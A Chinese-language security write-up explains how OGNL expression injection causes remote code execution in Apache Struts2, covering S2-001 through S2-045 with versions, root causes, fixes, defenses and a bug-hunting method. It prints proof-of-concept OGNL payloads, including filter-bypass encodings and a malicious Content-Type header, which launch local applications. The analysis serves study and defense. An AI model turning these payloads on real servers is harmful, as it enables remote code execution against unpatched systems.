Struts2基于OGNL的RCE漏洞全解析
1. OGNL表达式基础
OGNL (Object-Graph Navigation Language) 是一种强大的表达式语言,在Struts2框架中被广泛使用。它具有执行Java代码的能力,这是导致Struts2中一系列RCE漏洞的根本原因。
基本用法示例
import ognl.Ognl;
import ognl.OgnlContext;
public class OgnlTest {
public static void main(String[] args) throws Exception {
// 创建上下文和根对象
OgnlContext oc = new OgnlContext();
User rootUser = new User("tom", 18);
oc.setRoot(rootUser);
// 获取root对象的属性
String name = (String) Ognl.getValue("name", oc, oc.getRoot());
// 执行Java方法
Object obj = Ognl.getValue("'helloworld'.length()", oc.getRoot());
// 访问静态方法和属性
Object obj2 = Ognl.getValue(
"@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app/')",
oc.getRoot()
);
}
}
关键特性
- 使用
@符号访问静态方法和属性 - 可以执行任意Java代码
- 通过
#访问非root对象 - 支持方法调用和属性访问
2. Struts2漏洞概述
Struts2框架中由于OGNL表达式的不当处理导致了一系列远程代码执行漏洞。这些漏洞的共同特点是攻击者可以通过构造特定的请求参数,使服务器执行恶意OGNL表达式。
3. 主要漏洞分析
S2-001 (CVE-2007-4556)
影响版本: 2.0.0 - 2.0.8
漏洞原理:
当用户输入被直接用作OGNL表达式时,攻击者可以构造恶意输入执行任意代码。
POC:
%{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app/")}
修复:
在TextParseUtil.translateVariables中添加了位置参数pos,防止递归解析恶意表达式。
S2-003 (CVE-2008-6504)
影响版本: 2.0.0 - 2.1.8.1
漏洞原理:
利用Ognl.setValue执行恶意代码,需要Tomcat 6.0及以下版本。
POC:
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)
&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
关键点:
- 需要先设置
denyMethodExecution=false - 使用Unicode编码绕过参数名过滤
S2-005 (CVE-2010-1870)
影响版本: 2.0.0 - 2.1.8.1
漏洞原理:
通过修改_memberAccess变量绕过S2-003的修复。
POC:
('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)
&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)
S2-007 (CVE-2012-0838)
影响版本: 2.0.0 - 2.2.3
漏洞原理:
当参数类型转换失败时,错误信息中包含的OGNL表达式会被执行。
触发条件:
- 参数配置了验证规则
- 参数类型转换失败
S2-012 (CVE-2013-1965)
影响版本: Showcase 2.0.0 - 2.3.14.2
漏洞原理:
重定向参数中包含的OGNL表达式会被执行。
S2-045 (CVE-2017-5638)
影响版本: 2.3.5 - 2.3.31, 2.5 - 2.5.10
漏洞原理:
通过恶意Content-Type头触发Jakarta文件上传错误,错误信息中的OGNL表达式被执行。
POC:
Content-Type:%{(#glassy='multipart/form-data')
.(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}
关键点:
- 使用
.代替,连接表达式绕过S2-029的修复 - 需要包含
multipart/form-data
4. 漏洞防御机制
主要防御措施
-
表达式过滤:
- 对参数名进行严格正则匹配
- 黑名单过滤特殊字符
-
执行控制:
xwork.MethodAccessor.denyMethodExecution标志SecurityMemberAccess类控制静态方法访问
-
AST树检查:
- 限制特定AST树类型的执行
-
开发者模式:
- 建议生产环境关闭开发者模式
5. 漏洞挖掘方法论
-
寻找输入点:
- 参数名和参数值
- HTTP头信息
- 文件上传相关字段
-
跟踪数据处理流程:
- 关注
TextParseUtil.translateVariables调用 - 跟踪
Ognl.getValue和Ognl.setValue调用
- 关注
-
绕过技巧:
- Unicode编码
- 使用不同的表达式连接符
- 修改安全相关标志变量
6. 修复建议
- 及时升级到最新安全版本
- 关闭不必要的功能:
- 动态方法调用
- 开发者模式
- 严格验证所有用户输入
- 限制OGNL表达式的执行能力
7. 总结表
| 漏洞编号 | 注入位置 | OGNL执行函数 | 关键绕过技巧 |
|---|---|---|---|
| S2-001 | 参数值 | getValue | %{}格式 |
| S2-003 | 参数名 | setValue | (exp)(a)(b)格式 |
| S2-005 | 参数名 | setValue | 修改_memberAccess |
| S2-007 | 参数值 | getValue | 类型转换错误触发 |
| S2-045 | Content-Type头 | getValue | 使用.连接表达式 |
8. 研究资源
- 官方安全公告
- GitHub上的漏洞环境:
- https://github.com/vulhub/vulhub/tree/master/struts2
- OGNL官方文档
通过深入理解这些漏洞的原理和防御机制,安全研究人员可以更好地进行Struts2应用的安全审计和漏洞挖掘工作。